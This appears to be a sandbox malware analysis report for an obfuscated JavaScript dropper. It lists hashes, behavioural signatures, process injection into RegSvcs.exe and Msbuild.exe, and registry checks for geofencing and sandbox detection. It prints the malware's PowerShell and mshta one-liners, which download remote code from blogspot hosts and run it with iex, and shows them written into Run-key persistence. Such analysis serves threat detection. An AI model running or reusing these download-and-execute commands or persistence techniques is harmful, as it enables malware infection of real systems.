Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
06/05/2024, 07:27
Static task
static1
Behavioral task
behavioral1
Sample
d59eb32c67feacb9d79fe315bf304d5f .js
Resource
win7-20240221-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
d59eb32c67feacb9d79fe315bf304d5f .js
Resource
win10v2004-20240419-en
14 signatures
150 seconds
General
- Target d59eb32c67feacb9d79fe315bf304d5f .js
- Size 1.3MB
- Sample240506-jacvvagc55
- SHA256 d9e9cd6107b1f2a44a9d0ff9cf16eca68680851d7f0eead5830c5f2a01b6c003
- MD5 d59eb32c67feacb9d79fe315bf304d5f
- SHA1 a3bfbfa3216bd083085d47583cfc991731ee2f4b
- SHA512 44fdbb965adbc4ecd77dd5035fc7c76f822764bd41c765a41eafd6227b2515ba898a86f36aecab2d6f2222129f5123f455b74322fbbb25bab090cdd310a02085
- SSDEEP 768:IJqH+QqJcx5TnTi9ta7SuHiHwdcU6AH6xgO:xqo5TnTi9A6H9AH83
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 7 1172 powershell.exe 8 1172 powershell.exe 10 1172 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation wscript.exe - Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral2/memory/1376-28-0x0000000000D40000-0x0000000000DC6000-memory.dmp agile_net - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:tr=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe | iex);Start-Sleep -Seconds 5;','run']; sl=[tr[3],tr[0],tr[1],tr[2]]; new ActiveXObject(sl[2])[sl[0]](sl[3], 0, true);close();new ActiveXObject(sl[1]).DeleteFile(WScript.ScriptFullName);\"\n" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1" powershell.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 bitbucket.org 10 bitbucket.org - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 37 api.ipify.org 38 api.ipify.org 39 ip-api.com - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 1172 set thread context of 1376 1172 powershell.exe 96 PID 1172 set thread context of 2628 1172 powershell.exe 97 PID 1172 set thread context of 4000 1172 powershell.exe 99 PID 1172 set thread context of 3872 1172 powershell.exe 100 PID 1172 set thread context of 4072 1172 powershell.exe 101 PID 1172 set thread context of 2708 1172 powershell.exe 102 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe - Enumerates system info in registry 2 TTPs 8 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe - Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 2628 RegSvcs.exe 2628 RegSvcs.exe 2628 RegSvcs.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1172 powershell.exe Token: SeRestorePrivilege 1636 dw20.exe Token: SeBackupPrivilege 1636 dw20.exe Token: SeDebugPrivilege 2628 RegSvcs.exe Token: SeDebugPrivilege 1376 RegSvcs.exe Token: SeBackupPrivilege 3028 dw20.exe Token: SeBackupPrivilege 2148 dw20.exe Token: SeBackupPrivilege 3108 dw20.exe Token: SeBackupPrivilege 2148 dw20.exe Token: SeBackupPrivilege 3028 dw20.exe Token: SeBackupPrivilege 3108 dw20.exe Token: SeBackupPrivilege 2148 dw20.exe Token: SeBackupPrivilege 3028 dw20.exe Token: SeBackupPrivilege 3108 dw20.exe Token: SeBackupPrivilege 2148 dw20.exe Token: SeBackupPrivilege 3028 dw20.exe Token: SeBackupPrivilege 2148 dw20.exe Token: SeBackupPrivilege 1636 dw20.exe Token: SeBackupPrivilege 3028 dw20.exe Token: SeBackupPrivilege 1636 dw20.exe Token: SeBackupPrivilege 3108 dw20.exe Token: SeBackupPrivilege 3108 dw20.exe Token: SeIncreaseQuotaPrivilege 1172 powershell.exe Token: SeSecurityPrivilege 1172 powershell.exe Token: SeTakeOwnershipPrivilege 1172 powershell.exe Token: SeLoadDriverPrivilege 1172 powershell.exe Token: SeSystemProfilePrivilege 1172 powershell.exe Token: SeSystemtimePrivilege 1172 powershell.exe Token: SeProfSingleProcessPrivilege 1172 powershell.exe Token: SeIncBasePriorityPrivilege 1172 powershell.exe Token: SeCreatePagefilePrivilege 1172 powershell.exe Token: SeBackupPrivilege 1172 powershell.exe Token: SeRestorePrivilege 1172 powershell.exe Token: SeShutdownPrivilege 1172 powershell.exe Token: SeDebugPrivilege 1172 powershell.exe Token: SeSystemEnvironmentPrivilege 1172 powershell.exe Token: SeRemoteShutdownPrivilege 1172 powershell.exe Token: SeUndockPrivilege 1172 powershell.exe Token: SeManageVolumePrivilege 1172 powershell.exe Token: 33 1172 powershell.exe Token: 34 1172 powershell.exe Token: 35 1172 powershell.exe Token: 36 1172 powershell.exe Token: SeIncreaseQuotaPrivilege 1172 powershell.exe Token: SeSecurityPrivilege 1172 powershell.exe Token: SeTakeOwnershipPrivilege 1172 powershell.exe Token: SeLoadDriverPrivilege 1172 powershell.exe Token: SeSystemProfilePrivilege 1172 powershell.exe Token: SeSystemtimePrivilege 1172 powershell.exe Token: SeProfSingleProcessPrivilege 1172 powershell.exe Token: SeIncBasePriorityPrivilege 1172 powershell.exe Token: SeCreatePagefilePrivilege 1172 powershell.exe Token: SeBackupPrivilege 1172 powershell.exe Token: SeRestorePrivilege 1172 powershell.exe Token: SeShutdownPrivilege 1172 powershell.exe Token: SeDebugPrivilege 1172 powershell.exe Token: SeSystemEnvironmentPrivilege 1172 powershell.exe Token: SeRemoteShutdownPrivilege 1172 powershell.exe Token: SeUndockPrivilege 1172 powershell.exe Token: SeManageVolumePrivilege 1172 powershell.exe Token: 33 1172 powershell.exe Token: 34 1172 powershell.exe Token: 35 1172 powershell.exe Token: 36 1172 powershell.exe - Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 5116 wrote to memory of 1172 5116 wscript.exe 83 PID 5116 wrote to memory of 1172 5116 wscript.exe 83 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 1376 1172 powershell.exe 96 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 2628 1172 powershell.exe 97 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 4000 1172 powershell.exe 99 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 3872 1172 powershell.exe 100 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 4072 1172 powershell.exe 101 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 1172 wrote to memory of 2708 1172 powershell.exe 102 PID 4072 wrote to memory of 1636 4072 Msbuild.exe 104 PID 4072 wrote to memory of 1636 4072 Msbuild.exe 104 PID 4072 wrote to memory of 1636 4072 Msbuild.exe 104 PID 2708 wrote to memory of 2148 2708 Msbuild.exe 105 PID 2708 wrote to memory of 2148 2708 Msbuild.exe 105 PID 2708 wrote to memory of 2148 2708 Msbuild.exe 105 PID 3872 wrote to memory of 3108 3872 RegSvcs.exe 107 PID 3872 wrote to memory of 3108 3872 RegSvcs.exe 107 PID 3872 wrote to memory of 3108 3872 RegSvcs.exe 107 PID 4000 wrote to memory of 3028 4000 RegSvcs.exe 106 PID 4000 wrote to memory of 3028 4000 RegSvcs.exe 106 PID 4000 wrote to memory of 3028 4000 RegSvcs.exe 106
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\d59eb32c67feacb9d79fe315bf304d5f .js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1376
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4000 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7884⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3108
-
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7924⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1636
-
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7844⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:2148
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lx5ggkdw.m0l.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512